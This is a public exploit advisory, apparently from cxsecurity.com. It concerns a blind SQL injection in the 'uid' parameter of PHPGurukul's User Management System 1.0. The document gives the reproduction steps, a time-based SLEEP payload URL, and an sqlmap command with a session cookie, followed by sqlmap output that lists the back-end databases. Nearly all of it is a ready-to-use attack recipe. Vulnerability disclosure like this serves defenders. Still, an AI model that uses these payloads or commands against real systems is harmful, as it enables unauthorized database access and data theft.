User Management System 1.0 uid SQL Injection

2021.02.03
Credit: Zeyad Azima
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: User Management System 1.0 - 'uid' SQL Injection # Google Dork: N/A # Date: 29/1/2021 # Exploit Author: Zeyad Azima # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/user-management-system-in-php-using-stored-procedure/ # Version: V1 # Tested on: Windows # Identify the vulnerability 1- go to http://localhost/admin/ and login with your account 2- then go to http://localhost/admin/registered-users.php 3- Click edit on any user and then add the following payload to the url payload: AND (SELECT 5008 FROM (SELECT(SLEEP(5)))zVHT) url: http://localhost/ums-sp/admin/edit-user-profile.php?uid=3%20AND%20(SELECT%205008%20FROM%20(SELECT(SLEEP(5)))zVHT) If the web server makes you wait 5 seconds then it's vulnerable # Exploit Now you can exploit it using sqlmap command: sqlmap -u url --cookies="cookies here" --dbs example: sqlmap -u http://localhost/admin/edit-user-profile.php?uid=3 --cookie="PHPSESSID=dtp3titus8giv9bpdmimi6r6f1" --dbs ___ __H__ ___ ___[,]_____ ___ ___ {1.4.10.16#dev} |_ -| . [)] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 22:55:16 /2021-01-29/ [22:55:16] [INFO] resuming back-end DBMS 'mysql' [22:55:16] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: uid (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: uid=(SELECT (CASE WHEN (7929=7929) THEN 3 ELSE (SELECT 1849 UNION SELECT 3460) END)) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: uid=3 AND (SELECT 5008 FROM (SELECT(SLEEP(5)))zVHT) --- [22:55:16] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.4.41, PHP 7.3.10 back-end DBMS: MySQL >= 5.0.12 [22:55:16] [INFO] fetching database names [22:55:16] [INFO] fetching number of databases [22:55:16] [INFO] resumed: 6 [22:55:16] [INFO] resumed: mysql [22:55:16] [INFO] resumed: information_schema [22:55:16] [INFO] resumed: performance_schema [22:55:16] [INFO] resumed: sys [22:55:16] [INFO] resumed: umspsdb [22:55:16] [INFO] resumed: zmsdb available databases [6]: [*] information_schema [*] mysql [*] performance_schema [*] sys [*] umspsdb [*] zmsdb [22:55:16] [INFO] fetched data logged to text files under


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top